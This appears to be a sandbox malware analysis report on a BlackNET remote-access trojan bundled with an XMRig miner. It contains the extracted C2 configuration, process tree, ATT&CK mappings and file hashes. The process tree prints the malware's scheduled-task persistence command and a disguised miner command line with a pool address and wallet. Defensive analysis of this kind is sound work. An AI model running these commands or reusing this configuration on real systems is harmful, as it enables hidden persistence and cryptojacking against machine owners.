blacknet | 4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364

Analysis

max time kernel
150s
max time network
152s
platform
windows7_x64
resource
win7v20210410
submitted
23-07-2021 06:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364.exe
Size

4.2MB
MD5

4b71d55f16c4a497fb2457c340d5a8a6
SHA1

b8d17306aa1c757e6329bb69d976c224e585838a
SHA256

4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364
SHA512

93f66aca97affda90dee4631069255800ccf40a5ab912f77814f526df95ac5a8c6a1e63f74d2ba38b147b53a8f7d258f636db9cefd9a98ebb5ac869eb79ae79f

Score

10^/10

blacknet xmrig otwjgz miner trojan

Malware Config

Extracted

Family

blacknet

Version

v3.7.0 Public

Botnet

OTwjgZ

http://54.237.66.139

Mutex

BN[a4bfa882efc194e2bcd370ea]

Attributes

antivm
false
elevate_uac
false
install_name
WindowsUpdate.exe
splitter
|BN|
start_name
19eb68018edbdeae69b26450d3d0915f
startup
false
usb_spread
false

Signatures

BlackNET
BlackNET is an open source remote access tool written in VB.NET.
trojan blacknet

BlackNET Payload 6 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1468-89-0x0000000000400000-0x000000000063C000-memory.dmp	family_blacknet
behavioral1/memory/1468-90-0x000000000063636E-mapping.dmp	family_blacknet
behavioral1/memory/1468-91-0x0000000000400000-0x000000000063C000-memory.dmp	family_blacknet
\Users\Admin\AppData\Local\Temp\phone.exe	family_blacknet
C:\Users\Admin\AppData\Local\Temp\phone.exe	family_blacknet
C:\Users\Admin\AppData\Local\Temp\phone.exe	family_blacknet

Contains code to disable Windows Defender 6 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral1/memory/1468-89-0x0000000000400000-0x000000000063C000-memory.dmp	disable_win_def
behavioral1/memory/1468-90-0x000000000063636E-mapping.dmp	disable_win_def
behavioral1/memory/1468-91-0x0000000000400000-0x000000000063C000-memory.dmp	disable_win_def
\Users\Admin\AppData\Local\Temp\phone.exe	disable_win_def
C:\Users\Admin\AppData\Local\Temp\phone.exe	disable_win_def
C:\Users\Admin\AppData\Local\Temp\phone.exe	disable_win_def

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 3 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/1936-140-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/1936-141-0x00000001402EB66C-mapping.dmp	xmrig
behavioral1/memory/1936-143-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

Processes:

cmd.exe

flow pid process

12 1936 cmd.exe
14 1936 cmd.exe
Executes dropped EXE 7 IoCs

Processes:

ATB.execracked.exephone.exephoneupdate.exesihost64.exeuserupdate.exesihost64.exe

pid process

1708 ATB.exe
1780 cracked.exe
1284 phone.exe
1760 phoneupdate.exe
1772 sihost64.exe
1548 userupdate.exe
1944 sihost64.exe

flow	pid	process
12	1936	cmd.exe
14	1936	cmd.exe

pid	process
1708	ATB.exe
1780	cracked.exe
1284	phone.exe
1760	phoneupdate.exe
1772	sihost64.exe
1548	userupdate.exe
1944	sihost64.exe

Loads dropped DLL 12 IoCs

Processes:

WScript.exeWerFault.exevbc.exephoneupdate.exeuserupdate.exe

pid	process
1988	WScript.exe
1988	WScript.exe
2020	WerFault.exe
2020	WerFault.exe
2020	WerFault.exe
2020	WerFault.exe
2020	WerFault.exe
1468	vbc.exe
1468	vbc.exe
1760	phoneupdate.exe
1760	phoneupdate.exe
1548	userupdate.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 2 IoCs

Processes:

cracked.exeuserupdate.exe

description	pid	process	target process
PID 1780 set thread context of 1468	1780	cracked.exe	vbc.exe
PID 1548 set thread context of 1936	1548	userupdate.exe	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2020 1708 WerFault.exe ATB.exe
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1756 schtasks.exe
1780 schtasks.exe

pid	pid_target	process	target process
2020	1708	WerFault.exe	ATB.exe

pid	process
1756	schtasks.exe
1780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

WerFault.execracked.exephone.exephoneupdate.exeuserupdate.exe

pid	process
2020	WerFault.exe
2020	WerFault.exe
2020	WerFault.exe
2020	WerFault.exe
2020	WerFault.exe
1780	cracked.exe
1780	cracked.exe
1780	cracked.exe
1780	cracked.exe
1780	cracked.exe
1780	cracked.exe
1284	phone.exe
1284	phone.exe
1284	phone.exe
1760	phoneupdate.exe
1760	phoneupdate.exe
1548	userupdate.exe
1548	userupdate.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

WerFault.exe

pid process

2020 WerFault.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

WerFault.execracked.exephone.exephoneupdate.exeuserupdate.execmd.exe

description	pid	process
Token: SeDebugPrivilege	2020	WerFault.exe
Token: SeDebugPrivilege	1780	cracked.exe
Token: SeDebugPrivilege	1284	phone.exe
Token: SeDebugPrivilege	1760	phoneupdate.exe
Token: SeDebugPrivilege	1548	userupdate.exe
Token: SeLockMemoryPrivilege	1936	cmd.exe
Token: SeLockMemoryPrivilege	1936	cmd.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

phone.exe

pid process

1284 phone.exe
1284 phone.exe

pid	process
1284	phone.exe
1284	phone.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364.exeWScript.exeATB.execracked.exevbc.exephoneupdate.execmd.exeuserupdate.execmd.exe

description	pid	process	target process
PID 1676 wrote to memory of 1988	1676	4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364.exe	WScript.exe
PID 1676 wrote to memory of 1988	1676	4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364.exe	WScript.exe
PID 1676 wrote to memory of 1988	1676	4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364.exe	WScript.exe
PID 1676 wrote to memory of 1988	1676	4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364.exe	WScript.exe
PID 1988 wrote to memory of 1708	1988	WScript.exe	ATB.exe
PID 1988 wrote to memory of 1708	1988	WScript.exe	ATB.exe
PID 1988 wrote to memory of 1708	1988	WScript.exe	ATB.exe
PID 1988 wrote to memory of 1708	1988	WScript.exe	ATB.exe
PID 1988 wrote to memory of 1780	1988	WScript.exe	cracked.exe
PID 1988 wrote to memory of 1780	1988	WScript.exe	cracked.exe
PID 1988 wrote to memory of 1780	1988	WScript.exe	cracked.exe
PID 1988 wrote to memory of 1780	1988	WScript.exe	cracked.exe
PID 1708 wrote to memory of 2020	1708	ATB.exe	WerFault.exe
PID 1708 wrote to memory of 2020	1708	ATB.exe	WerFault.exe
PID 1708 wrote to memory of 2020	1708	ATB.exe	WerFault.exe
PID 1708 wrote to memory of 2020	1708	ATB.exe	WerFault.exe
PID 1780 wrote to memory of 1080	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1080	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1080	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1080	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1536	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1536	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1536	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1536	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1512	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1512	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1512	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1512	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1468	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1468	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1468	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1468	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1468	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1468	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1468	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1468	1780	cracked.exe	vbc.exe
PID 1780 wrote to memory of 1468	1780	cracked.exe	vbc.exe
PID 1468 wrote to memory of 1284	1468	vbc.exe	phone.exe
PID 1468 wrote to memory of 1284	1468	vbc.exe	phone.exe
PID 1468 wrote to memory of 1284	1468	vbc.exe	phone.exe
PID 1468 wrote to memory of 1284	1468	vbc.exe	phone.exe
PID 1468 wrote to memory of 1760	1468	vbc.exe	phoneupdate.exe
PID 1468 wrote to memory of 1760	1468	vbc.exe	phoneupdate.exe
PID 1468 wrote to memory of 1760	1468	vbc.exe	phoneupdate.exe
PID 1468 wrote to memory of 1760	1468	vbc.exe	phoneupdate.exe
PID 1760 wrote to memory of 564	1760	phoneupdate.exe	cmd.exe
PID 1760 wrote to memory of 564	1760	phoneupdate.exe	cmd.exe
PID 1760 wrote to memory of 564	1760	phoneupdate.exe	cmd.exe
PID 564 wrote to memory of 1756	564	cmd.exe	schtasks.exe
PID 564 wrote to memory of 1756	564	cmd.exe	schtasks.exe
PID 564 wrote to memory of 1756	564	cmd.exe	schtasks.exe
PID 1760 wrote to memory of 1772	1760	phoneupdate.exe	sihost64.exe
PID 1760 wrote to memory of 1772	1760	phoneupdate.exe	sihost64.exe
PID 1760 wrote to memory of 1772	1760	phoneupdate.exe	sihost64.exe
PID 1760 wrote to memory of 1548	1760	phoneupdate.exe	userupdate.exe
PID 1760 wrote to memory of 1548	1760	phoneupdate.exe	userupdate.exe
PID 1760 wrote to memory of 1548	1760	phoneupdate.exe	userupdate.exe
PID 1548 wrote to memory of 1200	1548	userupdate.exe	cmd.exe
PID 1548 wrote to memory of 1200	1548	userupdate.exe	cmd.exe
PID 1548 wrote to memory of 1200	1548	userupdate.exe	cmd.exe
PID 1200 wrote to memory of 1780	1200	cmd.exe	schtasks.exe
PID 1200 wrote to memory of 1780	1200	cmd.exe	schtasks.exe
PID 1200 wrote to memory of 1780	1200	cmd.exe	schtasks.exe
PID 1548 wrote to memory of 1944	1548	userupdate.exe	sihost64.exe

C:\Users\Admin\AppData\Local\Temp\4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364.exe
"C:\Users\Admin\AppData\Local\Temp\4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs"
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1988

C:\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 584
4⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:2020

C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracked.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracked.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1780

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"{path}"
4⤵
PID:1080

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"{path}"
4⤵
PID:1536

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"{path}"
4⤵
PID:1512

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"{path}"
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1468

C:\Users\Admin\AppData\Local\Temp\phone.exe
"C:\Users\Admin\AppData\Local\Temp\phone.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1284

C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
"C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1760

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"' & exit
6⤵
- Suspicious use of WriteProcessMemory
PID:564

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"'
7⤵
- Creates scheduled task(s)
PID:1756

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
6⤵
- Executes dropped EXE
PID:1772

C:\Users\Admin\AppData\Roaming\userupdate.exe
"C:\Users\Admin\AppData\Roaming\userupdate.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1548

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"' & exit
7⤵
- Suspicious use of WriteProcessMemory
PID:1200

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"'
8⤵
- Creates scheduled task(s)
PID:1780

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
7⤵
- Executes dropped EXE
PID:1944

C:\Windows\System32\cmd.exe
C:\Windows/System32\cmd.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.c3pool.com:13333 --user=439KJy5uZoHFetfkQ45pdjRnjLzN1TsFn2NLxPcZbTMwTqJGGpJw4SEM4NhUygc7xacM16VKBNq2Hfe52KmiWTpE46UsCLH --pass= --cpu-max-threads-hint=20 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
7⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:1936

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

T1064

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
MD5
db9629508fda139f71f625d764c7eff7

SHA1
57b82a3239f8c8ba7423e00a05869a7e5aa72ddf

SHA256
656ec7ae060e52d0f80490f884121047b8741d2271d247693377275c1a32f4d3

SHA512
2f82d0d227c6c22afb5bf5aa76d120a6c50b0720d72e518a5cfdcf5ff3d3def51db162c63f46b37463a448fa1c42e944ec76350887cb73a0116ce1b47a270cd2

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
MD5
db9629508fda139f71f625d764c7eff7

SHA1
57b82a3239f8c8ba7423e00a05869a7e5aa72ddf

SHA256
656ec7ae060e52d0f80490f884121047b8741d2271d247693377275c1a32f4d3

SHA512
2f82d0d227c6c22afb5bf5aa76d120a6c50b0720d72e518a5cfdcf5ff3d3def51db162c63f46b37463a448fa1c42e944ec76350887cb73a0116ce1b47a270cd2

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracked.exe
MD5
af711c6269728cc41a4b6cab99dc00d2

SHA1
02a1cff69f43552c5aa6fea7547e5f68018dbc84

SHA256
4ff431768417c7103657b6554962998af3b2f90180e6f19e66e671b4f706061c

SHA512
94b6ba8fcdbb5dd175096e305698a41078fb1a99725610bb49159d02ccf2484b01fd7bfcf48fb4644af6b92c77453855f7eba46445f93ff449317f25613bb8a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracked.exe
MD5
af711c6269728cc41a4b6cab99dc00d2

SHA1
02a1cff69f43552c5aa6fea7547e5f68018dbc84

SHA256
4ff431768417c7103657b6554962998af3b2f90180e6f19e66e671b4f706061c

SHA512
94b6ba8fcdbb5dd175096e305698a41078fb1a99725610bb49159d02ccf2484b01fd7bfcf48fb4644af6b92c77453855f7eba46445f93ff449317f25613bb8a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs
MD5
26d980fc7fb049dc85ea91157d843af8

SHA1
475fda0d8d3e77760924886de22dd902ac58e99a

SHA256
c472d5f80188825b777d8b6818db877e862a159c51138bd6d39999c75eb7006a

SHA512
3ebb9a7e86d7c4cea62b43f20ad2b281f038ce32062e5c569138641da955ad0f77d9e444c2cea934ae2129499aeb1eda1a2ff1c223f77a96bd6beb21011b1c9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\phone.exe
MD5
a18b7cb1fe97912ffc3e38d76ccc0462

SHA1
c5908c111223d69f532973643381983ba385c1c1

SHA256
2d5e2831e24496bd74a7a2317f824657905cdadaeb00f5c6e33e9b75c5231a2f

SHA512
d92025f6eb3ab4a594113813284361694ce1b78cfd513d88f4ea842ea7d37c91976066b33089c4da048e39cc4c65654637d2a14138327df40f89d4bb0963be1c

Download Submit
C:\Users\Admin\AppData\Local\Temp\phone.exe
MD5
a18b7cb1fe97912ffc3e38d76ccc0462

SHA1
c5908c111223d69f532973643381983ba385c1c1

SHA256
2d5e2831e24496bd74a7a2317f824657905cdadaeb00f5c6e33e9b75c5231a2f

SHA512
d92025f6eb3ab4a594113813284361694ce1b78cfd513d88f4ea842ea7d37c91976066b33089c4da048e39cc4c65654637d2a14138327df40f89d4bb0963be1c

Download Submit
C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
MD5
c169f9a4c5c32e4ceb4ff58d1c86e969

SHA1
8cdad283c3c44202cb3dc50928d8f80ce885715c

SHA256
aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

SHA512
3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

Download Submit
C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
MD5
c169f9a4c5c32e4ceb4ff58d1c86e969

SHA1
8cdad283c3c44202cb3dc50928d8f80ce885715c

SHA256
aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

SHA512
3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys
MD5
0c0195c48b6b8582fa6f6373032118da

SHA1
d25340ae8e92a6d29f599fef426a2bc1b5217299

SHA256
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

SHA512
ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
MD5
94de80b9dbb3379c59a370b83bbffd90

SHA1
9b65d5fba13c1174af142de9fdb17cd9989332fc

SHA256
5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

SHA512
1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
MD5
94de80b9dbb3379c59a370b83bbffd90

SHA1
9b65d5fba13c1174af142de9fdb17cd9989332fc

SHA256
5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

SHA512
1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
MD5
94de80b9dbb3379c59a370b83bbffd90

SHA1
9b65d5fba13c1174af142de9fdb17cd9989332fc

SHA256
5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

SHA512
1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
MD5
94de80b9dbb3379c59a370b83bbffd90

SHA1
9b65d5fba13c1174af142de9fdb17cd9989332fc

SHA256
5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

SHA512
1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

Download Submit
C:\Users\Admin\AppData\Roaming\userupdate.exe
MD5
c169f9a4c5c32e4ceb4ff58d1c86e969

SHA1
8cdad283c3c44202cb3dc50928d8f80ce885715c

SHA256
aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

SHA512
3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

Download Submit
C:\Users\Admin\AppData\Roaming\userupdate.exe
MD5
c169f9a4c5c32e4ceb4ff58d1c86e969

SHA1
8cdad283c3c44202cb3dc50928d8f80ce885715c

SHA256
aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

SHA512
3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
MD5
db9629508fda139f71f625d764c7eff7

SHA1
57b82a3239f8c8ba7423e00a05869a7e5aa72ddf

SHA256
656ec7ae060e52d0f80490f884121047b8741d2271d247693377275c1a32f4d3

SHA512
2f82d0d227c6c22afb5bf5aa76d120a6c50b0720d72e518a5cfdcf5ff3d3def51db162c63f46b37463a448fa1c42e944ec76350887cb73a0116ce1b47a270cd2

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
MD5
db9629508fda139f71f625d764c7eff7

SHA1
57b82a3239f8c8ba7423e00a05869a7e5aa72ddf

SHA256
656ec7ae060e52d0f80490f884121047b8741d2271d247693377275c1a32f4d3

SHA512
2f82d0d227c6c22afb5bf5aa76d120a6c50b0720d72e518a5cfdcf5ff3d3def51db162c63f46b37463a448fa1c42e944ec76350887cb73a0116ce1b47a270cd2

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
MD5
db9629508fda139f71f625d764c7eff7

SHA1
57b82a3239f8c8ba7423e00a05869a7e5aa72ddf

SHA256
656ec7ae060e52d0f80490f884121047b8741d2271d247693377275c1a32f4d3

SHA512
2f82d0d227c6c22afb5bf5aa76d120a6c50b0720d72e518a5cfdcf5ff3d3def51db162c63f46b37463a448fa1c42e944ec76350887cb73a0116ce1b47a270cd2

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
MD5
db9629508fda139f71f625d764c7eff7

SHA1
57b82a3239f8c8ba7423e00a05869a7e5aa72ddf

SHA256
656ec7ae060e52d0f80490f884121047b8741d2271d247693377275c1a32f4d3

SHA512
2f82d0d227c6c22afb5bf5aa76d120a6c50b0720d72e518a5cfdcf5ff3d3def51db162c63f46b37463a448fa1c42e944ec76350887cb73a0116ce1b47a270cd2

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
MD5
db9629508fda139f71f625d764c7eff7

SHA1
57b82a3239f8c8ba7423e00a05869a7e5aa72ddf

SHA256
656ec7ae060e52d0f80490f884121047b8741d2271d247693377275c1a32f4d3

SHA512
2f82d0d227c6c22afb5bf5aa76d120a6c50b0720d72e518a5cfdcf5ff3d3def51db162c63f46b37463a448fa1c42e944ec76350887cb73a0116ce1b47a270cd2

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
MD5
db9629508fda139f71f625d764c7eff7

SHA1
57b82a3239f8c8ba7423e00a05869a7e5aa72ddf

SHA256
656ec7ae060e52d0f80490f884121047b8741d2271d247693377275c1a32f4d3

SHA512
2f82d0d227c6c22afb5bf5aa76d120a6c50b0720d72e518a5cfdcf5ff3d3def51db162c63f46b37463a448fa1c42e944ec76350887cb73a0116ce1b47a270cd2

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\cracked.exe
MD5
af711c6269728cc41a4b6cab99dc00d2

SHA1
02a1cff69f43552c5aa6fea7547e5f68018dbc84

SHA256
4ff431768417c7103657b6554962998af3b2f90180e6f19e66e671b4f706061c

SHA512
94b6ba8fcdbb5dd175096e305698a41078fb1a99725610bb49159d02ccf2484b01fd7bfcf48fb4644af6b92c77453855f7eba46445f93ff449317f25613bb8a6

Download Submit
\Users\Admin\AppData\Local\Temp\phone.exe
MD5
a18b7cb1fe97912ffc3e38d76ccc0462

SHA1
c5908c111223d69f532973643381983ba385c1c1

SHA256
2d5e2831e24496bd74a7a2317f824657905cdadaeb00f5c6e33e9b75c5231a2f

SHA512
d92025f6eb3ab4a594113813284361694ce1b78cfd513d88f4ea842ea7d37c91976066b33089c4da048e39cc4c65654637d2a14138327df40f89d4bb0963be1c

Download Submit
\Users\Admin\AppData\Local\Temp\phoneupdate.exe
MD5
c169f9a4c5c32e4ceb4ff58d1c86e969

SHA1
8cdad283c3c44202cb3dc50928d8f80ce885715c

SHA256
aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

SHA512
3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

Download Submit
\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
MD5
94de80b9dbb3379c59a370b83bbffd90

SHA1
9b65d5fba13c1174af142de9fdb17cd9989332fc

SHA256
5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

SHA512
1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

Download Submit
\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
MD5
94de80b9dbb3379c59a370b83bbffd90

SHA1
9b65d5fba13c1174af142de9fdb17cd9989332fc

SHA256
5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

SHA512
1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

Download Submit
\Users\Admin\AppData\Roaming\userupdate.exe
MD5
c169f9a4c5c32e4ceb4ff58d1c86e969

SHA1
8cdad283c3c44202cb3dc50928d8f80ce885715c

SHA256
aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

SHA512
3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

Download Submit
memory/564-112-0x0000000000000000-mapping.dmp

Download
memory/1200-130-0x0000000000000000-mapping.dmp

Download
memory/1284-106-0x000000001B380000-0x000000001B382000-memory.dmp

Filesize
8KB

Download
memory/1284-95-0x0000000000000000-mapping.dmp

Download
memory/1284-109-0x000000001B389000-0x000000001B3A8000-memory.dmp

Filesize
124KB

Download
memory/1284-101-0x00000000011E0000-0x00000000011E1000-memory.dmp

Filesize
4KB

Download
memory/1284-107-0x000000001B382000-0x000000001B383000-memory.dmp

Filesize
4KB

Download
